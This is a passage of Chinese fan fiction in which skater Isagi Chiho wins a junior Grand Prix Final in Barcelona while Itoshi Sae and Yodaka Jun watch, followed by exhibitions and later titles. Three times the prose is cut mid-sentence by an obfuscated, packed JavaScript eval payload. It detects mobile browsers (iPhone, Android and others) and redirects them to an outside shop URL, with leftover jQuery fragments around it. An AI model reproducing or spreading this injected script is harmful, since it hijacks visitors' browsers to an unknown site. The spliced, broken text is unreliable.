但千穗知道他在看。 . 冰面上,选手们各自散开,开始热身。 洁千穗先滑了两圈,感受冰面的软硬程度。巴塞罗那的冰属于稍硬的那种,冰刀切进去的感觉更清晰,这对跳跃有利有弊——硬冰面起跳更有力,但落冰时对膝盖的冲击也更大。 两圈滑完,她开始练习跳跃。 先是一个3A。 起跳、腾空、旋转、落冰——完美。 然后是3Lz+3T。 完成。 她滑到冰场边缘,调整了一下呼吸,然后—— 4S。 左后内刃切入冰面,膝盖蓄力,摆臂,腾空—— 观众席传来一阵惊呼。 但千穗没听见。 在冰面上,她从来只专注聆听冰刀切进冰面的声音,那往往清脆得像玻璃碎裂。 落冰。 稳。 她滑出弧线,手臂展开,身体晃都没晃一下。 观众席的惊呼变成了掌声。 千穗抬起头,看向挡板外的雅科夫——老头子脸上没什么表情,但千穗已经和他相处了不短时间,认得出他现在这种无奈又认同的眼神。 她点点头,继续热身。 但余光还是忍不住往第三排的方向飘了一下。 糸师冴正在看着她。 隔着半个冰场的距离,隔着嘈杂的人群,他看着她。 视线依旧不清晰,但她就是能笃定,他在看她。 而且应当在笑。 白鸦默默帮她拍了张对方现在的表情。 如她所想。 . 短节目的出场顺序是抽签决定的。 洁千穗抽到了第五个——倒数第二个出场。 这个顺序不算最好,但也不算差。太早出场容易压分,太晚出场容易等得心焦。第五个刚刚好,有时间热身,有时间调整状态,又不会等太久。 她坐在等分区的长椅上,披着外套,看着前面的选手一个个完成比赛。 第一个,美国选手,短节目65.34分。 第二个,俄罗斯选手,短节目67.87分。 第三个,加拿大选手,短节目64.21分。 第四个,法国选手,短节目63.58分。 然后—— “Next skater:Chiho Isagi, Japan.” 广播声响起,法语、英语、西班牙语三遍播报。 洁千穗站起身,脱掉外套,滑向冰场入口。 . 《月光》的第一个音符响起的瞬间,冰场安静了。 德彪西的钢琴声从音响里流出来,清清冷冷的,像月光落在水面上。 洁千穗的身体动了。 她知道观众在期待什么。虽然她练习的时候跳了,但其实她的短节目并不包含4S。 她刚才只是想跳、就跳了。 而现在,开场第一个跳跃,是3A。 阿克塞尔三周半——她最熟悉、最稳定的动作。 左前外刃切入冰面,蓄力后起跳—— 一圈。 两圈。 三圈半。 落冰。 冰刀切进冰面的瞬间,她能感觉到身体的每一块肌肉都在正确的位置上,连滑出的弧线都格外流畅轻盈,手臂展开的姿势也刚好卡在音乐的间隙里。 观众席传来掌声。 但她沉浸在冰上世界中,只是滑。 FCSp,跳接蹲转。旋转的速度由慢到快,裙摆在离心力下绽开又收拢,定格的瞬间刚好落在钢琴的一个长音上。 3Lz+3T,勾手三周接后外点冰三周。起跳的高度比平时还高一点,落冰稳得像钉子钉在冰面上,连滑出的弧线都比平时长了几分。 StSq,接续步。 这是她最喜欢的一段。 音乐从钢琴独奏变成弦乐伴奏,节奏变得流动起来。她的冰刀切过冰面,画出一个个圆、一个个弧、一个个交叉的图案。身体随着节奏起伏,银灰色裙摆在旋转中绽开又收拢,偶尔抬手的瞬间,能看见观众席的灯光从指缝间漏下来。 然后是3F。 飞利浦三周。 这个跳跃她和雷奥尼多商量,特意调整到节目的后半段执行,可以获得10%的加分。 腾空旋转三圈、落冰——完成。 CCoSp,换足联合旋转。 LSp,躬身转。 最后一个旋转定格在音乐最后一个音落下的瞬间。 冰场安静了一秒。 然后—— 更热烈的掌声。 洁千穗站在冰面中央,胸口剧烈起伏,汗从额角滑下来,滴在冰面上。 她抬起头,看向观众席。 第三排靠过道的位置,这次她能够清晰地望见,糸师冴就是在看她。 脸上还是那副淡淡的表情。 千穗莫名的觉得他心情还不错。 因为她自己现在心情很好。 她笑着、向裁判和观众行屈膝礼。 . 滑向出口的时候,她的目光又往角落的方向飘了一下。 夜鹰纯还坐在那里。 戴着口罩,头发乱乱的,整个人缩在座位里,有点和周围格格不入。 但他似乎很专注。 鴗鸟慎一郎在旁边说着什么,他没理,只是盯着冰面。 盯着她刚才滑过的地方。 千穗收回视线,滑出冰场。 . Kiss&Cry区。 雅科夫把外套披在她肩上,什么都没说,只是拍了拍她的背。 分数出来的那一刻,等分区安静了一秒。 然后屏幕上打出: 技术分:46.75 艺术分:25.40 短节目总分:72.15 洁千穗看着那个数字,愣了一下。 72.15。 比她去年在福冈的总决赛短节目高了将近8分。 比她预期的也高了将近2分。 雅科夫在旁边拍了拍她的肩膀,嘴角带着笑意。 千穗知道,他在为她高兴。 网上对于雅科夫作为千穗个人的教练是有争议的,对两人都有批判。 毕竟不是同一个国家的。 俱乐部直白的“国内找不到合适的教练教导千穗”的解释,戳中了某些人的神经。 但好在,那些不和谐音无法妨碍他们。 . 走出等分区的时候,千穗掏出手机。 消息已经涌进来了。 世一的:【姐姐好厉害!!!72.15!!!】 迹部的:【恭喜,短节目第一稳了】 以及就在现场的某人—— 【Sae:72.15】 千穗盯着这个数字,有些无奈。 真希望哪天能听见他亲口说恭喜。 【Chiho:还行吗?】 【Sae:嗯】 【Chiho:那你明天还来吗?】 【Sae:来】 千穗看着这个“来”字,嘴角弯起来。 . 她把手机收进口袋,抬起头,往更衣室的方向走。 走到一半,忽然想起什么,又回头看了一眼观众席。 第三排靠过道的位置已经空了。 角落的位置也空了。 糸师冴走了。 夜鹰纯也走了,只留下正在抚脸叹气的鴗鸟慎一郎。 千穗站在走廊里,望向那两把空椅子,忽然觉得更想笑了。 一个专门从马德里飞过来看她比赛,看完就走,连招呼都不打。 一个不知道从哪儿冒出来,戴着口罩坐在角落里,看完就走,也连招呼都不打。 果然,给他们取的“面瘫人机”备注很正确。 她摇摇头,转身往更衣室走去。 …… 第2天的自由滑,尤里和雷奥尼多都来了—— 昨天他们为了尤里比赛的编舞发生了一点小分歧,所以没来看千穗比赛。 今天分歧解决了,自然要过来。 至于另外两个师兄和米拉师姐……他们参加成人组总决赛,目前已经去长野了,雅科夫教练也在等尤里比赛结束飞过去。 因为某些原因,今年青年组和成人组举办地点分开了、明年似乎也这样。如果这两年分开办的结果不尽人意,后年大概率就又合起来了。 当然,这些和洁千穗今天的比赛没有关系。 . 千穗站在冰场入口,最后一次调整冰刀的松紧。 冰场比昨天更冷一点,空气中的消毒水味淡了些,观众席也更安静了。 她深吸一口气。 短节目72.15,领先第二名4.25分。 这个优势不算小,但也不够大——自由滑占比更高,如果出现失误,一切都会重来。 “别想太多。”雅科夫的声音从身后传来,“按训练来。” 千穗点点头。 但她心里清楚,今天的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326690|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉不太一样。 不是紧张。 是一种……说不清的亢奋。 可能是因为她发现糸师冴和夜鹰纯两位熟人今天还在观众席。 也可能只是因为—— 她想跳。 跳那个邀请赛成功跳出来后、在训练里练了无数遍终于稳定,却从未在正式比赛里跳过的动作。 . 广播声响起。 “Next skater: Chiho Isagi, Japan.” 洁千穗踏上冰面。 灯光从头顶倾泻下来,冰面泛着冷白色的光。她滑向中央,在起点位置站定,摆好开场姿势。 观众席安静下来。 然后—— 音乐响起。 是熟悉的、再一次出现在总决赛的《艺伎回忆录》。那第一个音符从音响里流出来,带着东方特有的含蓄与哀婉。 她的身体动了。 开场是FCCoSp,跳接联合旋转。她把自己转成一个模糊的影子,和服元素花纹的银蓝色裙摆在灯光下旋成一朵花。旋转的速度由慢到快,定格在音乐进入主旋律的瞬间。 StSq,熟悉的接续步。 冰刀切过冰面的声音连绵成一条线,她在冰上不断画出一个又一个圆弧,眼中的世界因快速移动而模糊,能看见的只有色块与光点。 然后是第一个跳跃,3Lz+3T。 她最熟悉的连跳之一,起跳的高度、空中的转速、落冰的角度,闭着眼睛都能完成。 左后外刃切入冰面,膝盖蓄力后摆臂——腾空。 三圈后落冰。 冰刀切进冰面的瞬间,她能感觉到身体的每一块肌肉都在正确的位置上。 好。 继续滑。 . 接下来是—— 3A。 左前外刃切入冰面,同样的膝盖蓄力、摆臂、腾空。 一圈。 两圈—— 落冰的瞬间,千穗的脑子空白了一瞬。 不对。 不对不对不对。 这个高度—— 这个转速—— 她落冰了。 但落冰的瞬间,她就知道、少了一圈——这是2A。 不是3A。 是2A。 她把原本放在开场的3A,跳成了2A。 为了避免高度不够落冰跌倒。 洁千穗站在冰面上,依靠训练出的肢体本能稳住重心、维持落冰姿势,脑子里一片空白。 怎么会的? 怎么会跳成这样? 这个动作她练了上万遍,闭着眼睛都不会错—— 但事实摆在眼前。 她失误了。 音乐还在继续。她还有动作没完成。下一个是3F,飞利浦三周,在节目的前半段—— 身体先于意识动了起来。 3F,完成。 3Lz+2T+2Lo,三周接两周接两周连跳,完成。 她滑到冰场边缘,调整呼吸,脑子在飞速运转。 2A。 她跳了2A。 按照规则,一个节目里不能出现两个完全相同的跳跃。她已经跳了一个2A、还是很可能影响整体评分的2A,后半段再跳2A—— 不,重复的2A不适合整套节目,她不能忍受这样的不完美。 她要跳3A、那明明是她最擅长的动作。 问题是——体力。 4S、3Lo+3T连跳之后,她还有多少体力去完成一个完整的3A? 要是改成其他的二周跳呢?教练、雷奥尼多和她商量了很多预备方案。 可如果这样,依旧不完美、难以忍受,分数还是会低很多。 这不行,她本来就会被压分、她要足够高的分、她要绝对的冠军! 跳3A—— 可能成功。 可能失败。 可能摔。 可能受伤。 但是必须也只能是3A! 音乐从耳畔流过,她的身体还在滑行,但脑子里的时间仿佛静止了。 . 观众席第三排。 糸师冴依旧坐在靠过道的位置,看着冰面上那个银灰色的身影。 他不懂花滑的技术细节,但他看得懂—— 刚才那个跳跃,和热身时的不一样。 和昨天的也不一样。 他旁边坐着个不认识的男人,正小声嘀咕:“2A……她怎么在前面跳2A?最擅长的3A要放后面了?这是不打算跳4S吗……明明练习的时候都跳了。” 糸师冴没说话。 他只是看着。 . 角落的夜鹰纯和鴗鸟慎一郎、和雅科夫教练一起看比赛的尤里、为洁千穗编舞的雷奥尼多…… 他们都是专业人士。 千穗落冰、甚至是她起跳的那瞬间,他们就知道发生了什么。 “……她从没在正式赛上失误过。”雅科夫眉头紧锁。 “4S后,她还会跳3A。”不同的方位、夜鹰纯和尤里几乎是同时、如此笃定地判断。 “我们的方案里有可以替换的二周跳。”雷奥尼多眯起眼睛看着场上继续滑行的少女,“但我猜,那不是她想要的。” 雅科夫无声地叹了口气。 13. 冠军 冰面继续在脚下流淌。 音乐继续。 身体继续。 洁千穗的脑海中终于响起倒计时。 3F完成了。 3Lz+2T+2Lo完成了。 ——就要进入4S的入刃点。 她滑过冰场边缘,余光能看见那里站着的雅科夫三个人。 但她不知道他们是什么样的表情,担忧、诧异、失望? ——都不重要。 白鸦默默显示的、她的身体状况还没到极限。 千穗趁着步法的间隙,大口呼吸。 乳酸已经在堆积了。小腿开始发酸,大腿有些麻木,但确实还没到极限,核心肌肉群还支撑,她可以。 还有4S。 还有3Lo+3T。 ……能跳3A。 她闭上眼睛一秒,再睁开。 左后内刃切入冰面。 4S起跳。 一、二、三—— 四圈后落冰。 冰刀切进冰面的瞬间,膝盖传来的冲击让她的身体晃了一下,但好在她早有准备、转化冲击——双臂划出半个圆、如羽翼张开。 稳住了。 滑出。 3Lo+3T—— 落冰,连跳完成。 观众席传出难以置信的嘶气声。 但千穗只能听见自己的心跳。 咚、咚、咚。 还有呼吸。 呼、吸、呼、吸。 还有—— 下一个动作。 3A。 最多六秒。 六秒后,她就要起跳。 六秒。 她滑过冰场中央,滑过裁判席前,滑过那个她每天做梦都在滑的轨迹。 冰刀切过冰面的声音,沙沙的,像风穿过竹林。 她在数拍子。 三、二、一—— 左前外刃切入冰面。 膝盖蓄力。 她能感觉到腿在抖——不是害怕,是体力已经到了极限。4S后接3Lo+3T的消耗太大了,乳酸已经淹没了小腿,大腿后侧在抽筋的边缘疯狂试探,脚踝传来的酸胀感像有人在往里灌铅。 但她还是起跳、再次腾空。 世界变成一片模糊的光影。 一圈。 她听见自己的心跳。 两圈。 她看见观众席的灯光从眼前闪过。 三圈—— 身体开始下落。 三圈半—— 冰面在视野里迅速放大。 右后外刃—— 切入—— . 冰刀切进冰面的声音,依旧是那么清脆。 千穗的膝盖弯得比以往深一点,滑出弧线的手臂展开,身体晃了一下—— 然后稳住了。 她站在冰面上,大口喘气,汗从额角滑下来,滴在冰面上,在灯光下碎成无数细小的光点。 3A。 她跳成了。 在4S之后,在3Lo+3T之后,在体力几乎耗尽的时候,她跳成了3A。 音乐还在继续。 还有ChSq编排步法、CCoSp换足联合旋转、FSSp蹲踞旋转—— 已经将这些化作本能的身体、再次先于意识动了起来。 . 最后一个旋转定格在音乐最后一个音落下的瞬间。 冰场安静了。 安静了很久。 久到千穗以为自己出现了幻觉。 然后—— 掌声。 不是普通的掌声。 是那种从安静中爆发出来的、像潮水一样涌过来的掌声。 有人在喊她的名字。 有人在尖叫。 有人—— 站起来了。 千穗站在冰面中央,看着观众席。 一个。 两个。 三个。 十个。 近百个。 越来越多的人站起来。 二层看台。 三层看台。 连最角落的位置,都有人站起来。 他们在鼓掌。 他们在为她鼓掌。 千穗愣在原地。 她参加过很多比赛。拿过很多金牌。听过很多次掌声。 但从来没有一次,是这样的。 全体起立。 洁千穗站在冰面中央,胸口剧烈起伏,汗从额角滑下来,滴在冰面上。 她看着那些站起来的人,忽然不知道该做什么。 最后,她只是弯下腰,把手放在冰面上。 凉的。 永远是凉的。 但今天,好像没有那么凉了。 . 腿很酸、很胀,千穗久违的感受到这种突破极限的感觉。 等滑向出口,她看见雅科夫站在挡板边,旁边的尤里和雷奥尼多不知道哪去了。 老头子的眼睛红了。 不是那种要哭的红,是那种憋着什么东西的红。 他什么都没说,只是伸出手,把外套披在她肩上。 手在抖。 千穗看着他,忽然想说什么。 但张了张嘴,什么都没说出来。 最后只是笑了笑。 “我这次又赢了,对吧?” 雅科夫看着她,沉默了两秒。 然后—— “……嗯。” 他拍了拍她的肩膀。 很重。 . Kiss&Cry区。 分数出来的那一刻,整个场馆都安静了。 屏幕上打出: 技术分:89.14 艺术分:47.38 自由滑总分:136.70 如果算上短节目的72.15—— 两套节目总分:208.85 确认完膝盖无碍的洁千穗盯着那个数字,愣了一下。 208.85。 是在总决赛。 是在失误之后。 是在咬牙坚持之后。 是在全场起立鼓掌之后。 她第一次正式赛突破200分大关,甚至接近210分。 也是女单青年组的新最高纪录。 而白鸦在遗憾,若是不压分她的分数能更高一些。 【即使因为开头的失误和后期体力问题导致几个动作略有瑕疵,自由滑也至少有138才对】 [……这就是我要绝对分差的原因] 只有这样,她才能保证自己是冠军。 . 腿部按摩完、由北野宁宁陪着走出等分区的时候,千穗向她要回手机。 打开,消息便涌进来了。 她先统一回复了“谢谢”。 然后看向最先发消息的那一位—— 【Sae:208.85】 【Sae:最后那个3A】 【Sae:很厉害,辛苦了】 千穗盯着那三行字,愣了两秒。 【Chiho:谢谢】 【Sae:嗯】 回过神来,她开始打字。 【Chiho:你还在吗?】 【Sae:在】 【Chiho:等我一下】 【Sae:好】 . 更衣室里,千穗换好衣服,坐着休息了一会儿。 手机又震了。 【Yuri:……】 【Yuri:你那个2A是怎么回事?】 【Yuri:然后你后面补了个3A?】 【Yuri:还是在4S之后?】 【Yuri:……疯子】 千穗看着那个“疯子”,笑出了声。 【Chiho:谢谢夸奖】 【Yuri:我没夸你!】 【Yuri:不过……】 【Yuri:跳得不错】 千穗看着那四个字,已经能想象到对方略带别扭的表情了。 【Chiho:对了,我滑完怎么没看见你?还有雷奥尼多,你俩开场不是和雅科夫教练在一起吗?】 【Yuri:雷奥尼多发现了那个夜鹰纯也在观众席,我跟他一起找过去了】 千穗立刻就有些好奇: 【Chiho:然后呢?】 【Yuri:没有然后】 【Yuri:雷奥尼多根本没聊几句话、全是他旁边那个同伴回答,夜鹰纯就在你比赛结束时直接走了】 千穗有点失望,又觉得意料之中。 . 让经纪人带着东西先回住处后,千穗走出了更衣室。 走廊尽头,一个熟悉的身影站在那里。 小豆色的头发,深灰色大衣,藏青色围巾。 糸师冴。 他靠在墙边,手里拿着个崭新的保温杯,表情淡淡的,但目光落在她身上。 千穗走过去,在他面前站定。 “等很久了?” “没。” 千穗看着他,忽然想起刚才那条消息。 “很厉害,辛苦了”——这是他说的。 很少能从他那儿得到这种夸人的、外露的话。 “喂。”她开口。 糸师冴看着她。 “你刚才夸我了。” “……嗯。” “为什么?” “你跳得很好,不是吗?”糸师冴反问。 千穗眨巴眨巴眼,立刻露出明媚的笑容,“谢谢——难得听见冴君这么直白的夸奖呢~” 她尾音都往上扬了几分。 糸师冴轻哼一声,“我什么时候不夸你了?” 他说着直接把保温杯拧开,递给她。 千穗接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326691|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,喝了一口。 温热,刚刚好。 喝下去后,整个人都暖和了。 “腿还好吗?”冴又问。 “嗯嗯,检查过了,没问题的!我体质超好哦!”千穗给自己比了个大拇指。 “嗯,没事就行。”冴微微偏头,语气听上去异常温和。 “走吧,我陪你回去。” . 两个人并肩往外走。 走到出口的时候,千穗忽然停下脚步,转头望向他: “对了。” 糸师冴也停住,看着她。 “你明天就走了?” “嗯。” “回马德里?” “嗯。” 千穗想了想。 “那我明年再见你?” 糸师冴眼睛微微睁大,表情有些复杂。 “……明年见。” 千穗笑起来。 “好,明年见。” 他们就这样对视,最后是糸师冴先移开视线,带头向前走。 千穗略慢一步。 . 走出体育馆的时候,巴塞罗那的夜色已经深了。 糸师冴一路将她送到登记的酒店门口,才离开。 千穗回到自己的房间,望着窗外的夜色,突然上前、打开窗,深吸一口气。 冷空气灌进肺里,带着点海风的咸味。 千穗的内心也逐渐平静。 她掏出手机,看了眼时间。 然后打开相册,翻到让白鸦帮忙拍的照片—— 糸师冴坐在观众席第三排,隔着半个冰场,看着她。 表情淡淡的。 但眼神十分专注。 那种,千穗原以为只在他看足球赛时才会有的专注。 还带着一点其他的东西。 千穗也不知道是什么。 但她确实因此,觉得心情更好了。 也就在这时,白鸦献上了她最需要的奖励。 【白鸦:恭喜】 【白鸦:总决赛金牌,连冠,寿命+2年】 【白鸦:4S正式比赛成功,额外奖励】 【白鸦:梦境空间时长+1小时】 【白鸦:当前总寿命:34年】 千穗看着那串数字,愣了两秒。 34年。 比她刚转生时的18年,多了16年。 她抬起头,看着巴塞罗那的夜空。 星星不多,但有一颗很亮。 . 手机震了一下。 【Sae:到旅馆发消息】 千穗看着那条消息,嘴角弯起来。 【Chiho:我已经到了,正准备睡觉】 【Chiho:你也早点睡】 【Sae:嗯】 【Chiho:对了】 【Sae:?】 【Chiho:明年见】 对面有片刻沉默。 但很快—— 【Sae:明年见】 千穗把手机放到桌上,准备洗漱睡觉。 巴塞罗那的夜晚很安静,开窗之后只有风声。 但她知道,明年还会再见。 因为,他们一起,如此说了两遍。 . 不久前,体育馆的另一侧出口。 夜鹰纯站在角落里,戴着口罩,头发被夜风吹得有点乱。 鴗鸟慎一郎站在他旁边,欲言又止。 “阿纯,你不去打个招呼吗?” 夜鹰纯没说话。 他只是保持着那副淡漠的表情,望着天空,看着星星。 看了很久。 “……走吧。” 鴗鸟慎一郎叹了口气。 明明专门飞过来看比赛,看完就走,连句话都不说。 但他什么都没说,只是跟着夜鹰纯往另一个方向走去。 走了几步,夜鹰纯忽然停下。 “……她和我不一样,但她在冰上、是绝对的。” 鴗鸟慎一郎愣住。 什么? 夜鹰纯没再说话,继续往前走。 鴗鸟慎一郎其实听见了、只是一开始无法理解他的意思。 这句话,在他遇见夜鹰纯确定的学生狼崎光、又遇见了明浦路司和结束祈师徒后,他才慢慢回味过来。 而他现在只能无奈的跟着夜鹰纯前往机场。 . 第二天早上,洁千穗在酒店餐厅吃早饭的时候,收到了一条消息。 【金牌,下一次也是金牌。——夜鹰纯】 千穗盯着那行字,有些惊讶。 他居然会主动发消息?这是说她这次拿了金牌、让她下次也拿金牌吗? 她想了想,打字回复: 【谢谢前辈的信任】 发送。 然后把手机收进口袋,继续吃早饭。 冬日的暖阳,真不错。 14. 过渡 尤里·普利赛提的总决赛自由滑,洁千穗坐在观众席看的。 旁边是北野宁宁和终于赶来的蜻堂绯纱子。 糸师冴早就回去了。 而千穗的注意力完全在冰面上。 尤里今天的状态很好。 不,不是“很好”。 是“疯了”的那种好。 开场就是4S,并且很稳。 ——他简直是在冰上飞。 那个金色的脑袋在灯光下几乎要燃烧起来,每一次起跳都带着一种“我就是要跳”的笃定,落冰时冰刀切进冰面的声音清脆得像在宣判—— 我是冠军。 最后一个旋转定格,尤里站在冰面中央,仰着头,胸口剧烈起伏。 然后他看向教练席的方向。 雅科夫站在挡板边,脸上是那种千穗熟悉的、欣慰但又憋着什么的复杂表情。 尤里看了他一眼,然后移开视线,滑向出口。 而他的分数同样是新的世界青年组纪录。 千穗掏出手机,发了条消息: 【Chiho:恭喜】 【Yuri:……】 【Yuri:你看了?】 【Chiho:嗯,坐观众席看的】 【Yuri:我跳得怎么样?】 【Chiho:还行】 对面沉默了两秒。 然后—— 【Yuri:切,还行就还行】 【Yuri:……不对,你耍我?】 千穗看着这行字,笑出了声。 . 颁奖仪式结束后,千穗去后台看了一眼。 尤里坐在长椅上,脖子上挂着金牌,捧着个被教练硬塞到手里的保温杯,表情还是那副“别烦我”的样子。 看见千穗进来,他的目光动了动。 “你来干什么?” “来看你啊。”千穗理所当然地说,“顺便说一声,明天闭幕式有表演滑哦。” “哦,所以呢?”尤里不明所以。 千穗眨眨眼,忽然意识到一个问题。 “……你不会忘了吧?” 尤里的表情僵了一瞬。 就一瞬。 但千穗捕捉到了。 她忍不住笑出声:“尤里,表演滑。明天。所有人一起滑。冠军在中间再滑一段。雅科夫教练没说吗?” 尤里的脸以肉眼可见的速度涨红。 “我、我当然记得!”他梗着脖子,“我就是……问你一声而已!” “哦——”千穗拖长声音,笑眯眯地看着他,“那你准备滑什么?” “……不用你管。” “行行行,不管。”千穗站起身,拍了拍他的肩膀,“明天见,冠军。” 她走到门口,回头看了一眼。 尤里还坐在那里,低着头,盯着手里的金牌。 但耳朵—— 耳朵红透了。 千穗憋着笑,推开门走了出去。 . 第二天,巴塞罗那的冰场变成了另一个样子。 灯光不再是比赛时那种冷白色的、刺眼的光,而是暖黄色的、柔和的,像傍晚的夕阳落在冰面上。 观众席坐满了人,但不是比赛时那种紧张的、屏息凝神的气氛——有人在聊天,有人在笑,有人举着应援牌,上面写着选手的名字。 表演滑。 花样滑冰最自由、最放松的时刻。 没有分数,没有排名,没有必须完成的跳跃和旋转。 只有冰,和音乐,和想滑的人。 洁千穗站在后台,最后一次检查冰刀的松紧。 她的考斯滕不是比赛时那两套新的——是修改后的、去年那套黑蓝色的,水钻在灯光下会闪,裙摆比比赛时长一点,旋转的时候会更接近花朵绽放。 北野宁宁和绯纱子站在旁边,一个帮她整理头发,一个帮忙查看裙扣。 “紧张吗?”北野宁宁问。 “不紧张。”千穗摇摇头,“表演滑有什么好紧张的。” “那就好。” 北野退后一步,上下打量她一眼,满意地点点头。 “好了,去吧。”蜻堂绯纱子也整理完了,面带微笑,轻轻推了推她。 “嗯。”千穗转身,走向冰场入口。 . 冰场的门推开,冷气扑面而来。 观众席传来一阵欢呼——有人在喊她的名字,有人在吹口哨,有人举着“#Chihofam”的应援牌使劲挥舞。 千穗笑了笑,朝观众席挥了挥手,然后踏上冰面。 但她不是一个人。 身后,尤里·普利赛提滑了出来,金色的头发在暖色灯光下几乎发光,在冰上的他神情永远是坚毅严肃的,脚下流畅得不像话。 然后是女单第2名的那位俄罗斯选手,她朝观众席抛了个飞吻,引起一阵尖叫。 男单第2名跟在后面,稳重地滑入冰场。 还有其他国家的选手们——加拿大的、美国的、法国的——几乎所有单人滑选手一起滑入冰场中央,围成一个松散的圆。 表演滑开始了。 不是比赛。 是狂欢。 音乐从音响里流出来,是轻快的、让人想跟着摇摆的曲子。选手们在冰上自由地滑行,有人做交叉步,有人转圈,有人故意撞一下旁边的人然后迅速滑开。 尤里从千穗身边滑过的时候,故意虚晃一枪仿佛撞了一下她。 千穗瞪他一眼,他却已经滑远了,脸上的表情带着点得意。 千穗追上去。 两个人开始在冰上你追我赶,像两只较劲的猫。 观众席笑成一片。 一段集体滑结束后,选手们陆续退到冰场边缘,把中央的位置空出来。 灯光暗了一瞬。 再亮起时,只剩下一个人。 洁千穗。 她站在冰场中央,黑蓝色的考斯滕在暖色灯光下泛着柔和的光。 观众席安静下来。 然后—— 音乐响起。 《Merry-Go-Round of Life》。 《哈尔的移动城堡》的主题曲。 久石让的旋律从音响里流出来,温柔得像风,像水,像童年时妈妈哼过的歌。 千穗的身体动了。 她没跳。 她只是滑。 冰刀切过冰面的声音沙沙的,和音乐混在一起,像一首二重奏。 她滑过冰场中央,滑过裁判席前,滑过那个她每天做梦都在滑的轨迹。 一个交叉步,一个转三,一个莫霍克—— 她没数步子,没算角度,没想任何技术细节。 她只是想滑。 想滑给所有人看。 想滑给自己看。 . 第一个跳跃是3A。 但不是比赛时那种全力以赴的3A——是轻轻松松的、像在训练时玩的那种3A。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326692|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >起跳的高度比平时低一点,空中的转速慢一点,落冰的弧度圆一点。 但落冰的瞬间,观众席还是爆发出掌声。 千穗笑了笑,继续滑。 3Lz,也是轻轻松松的。 3F,也是。 她甚至跳了个4S—— 但落地的时候故意晃了一下,然后夸张地张开双臂,像是在说“哎呦差点摔了”。 观众席再次笑成一片。 有人喊:“再来一个!” 千穗朝那个方向挥挥手,然后继续滑。 . 千穗弯腰谢幕、同样滑到边缘后,是尤里来到中心。 他的风格截然不同、热烈激情,带着摇滚的感觉。 但同样赢得掌声与欢笑。 最后,所有选手再次围成圈滑了片刻,挥手有序退场。 双人滑、冰舞的选手表演后,本届JGP正式谢幕。 …… 几天后,洁千穗回到了日本。 成田机场的到达大厅里,洁世一举着那个手工应援扇,旁边站着笑眯眯的父母。扇子上的字换成了“欢迎回家”,那只白色乌鸦画得更熟练了。 “姐姐——!” 千穗被抱了个满怀,揉着弟弟的脑袋,忽然觉得还是家里好。 . 十二月底的全日锦赛,毫无悬念。 洁千穗站在最高领奖台上,胸前挂着又一枚全日锦金牌。 NHK的转播镜头对准她的时候,她只是淡淡地笑了笑。 记者问她:“明年的目标是什么?” 她说:“世青赛,成年组大奖赛。还有……后面的,一步步来。” . 2015年,三月份,爱沙尼亚,塔林。 世界青少年花样滑冰锦标赛。 洁千穗自己决定的、最后一届世青赛。 依旧是《流浪者之歌》+《加勒比海盗》,修改编排用上4S。 最后—— 短节目74.71,自由滑137.18,总分211.89。 金牌。 毫无悬念的金牌。 领奖台上,她低头看着胸前的金牌,忽然想起第一次参加世青赛时的自己。 那时候她十四岁,因为出生日期迟一年才能参加世青赛。 现在她十五岁,却是马上就要彻底告别青年组了。 有点舍不得。 但更多的,是期待。 . 颁奖结束后,她掏出手机。 消息列表里躺着几条未读。 【Yuri:恭喜,明天比赛我也会拿下金牌】 【Yuri:升组后,我会打败维克托成为世界成年组第一的】 【Sae:211.19】 【Sae:又是新的记录】 【Sae:大奖赛,还有明年成年组,我会来看】 千穗看着那几行字,嘴角弯起来。 她打字回复: 【Chiho:嗯,大奖赛见】 然后把手机收进口袋,抬起头。 塔林的天空很蓝,阳光很好。 她深吸一口气,往出口走去。 . 接下来的目标—— GPF(大奖赛总决赛冠军)。 4CC(四大洲锦标赛冠军)。 WC(世锦赛冠军)。 以及,OG(奥运会冠军)。 成年组,她准备好了。 15. 回家 洁千穗15年本来也是跟着雅科夫的团队在国外的。 结果,嗯……去年12月因为某些原因青年组大奖赛和成年组大奖赛的总决赛举办地点不一样,但尤里他们也还是飞去看维克托的比赛了,依旧遇上了胜生勇利—— 尤里吐槽在厕所遇见一个哭鼻子的“Yuri”,还问她和日本选手关系熟吗;维克托也是在于赛后派对与醉酒的勇利定下赌约(不过千穗当时已经回家陪家人了,并且她和岛国所有选手都不熟,集训都是一个人住一间的)。 然后感谢发达的网络,胜生勇利模仿维克托的自由滑作品《不要离开伴我身边》视频传播广泛,还被维克托本人看见了。 于是当初两人的赌约就要兑现了,即“如果勇利斗舞赢过维克托,维克托就要去日本给勇利当教练”。 本来、她是说,本来这些事情应该和现在位于圣彼得堡参加完豪强俱乐部邀请赛的她无关。 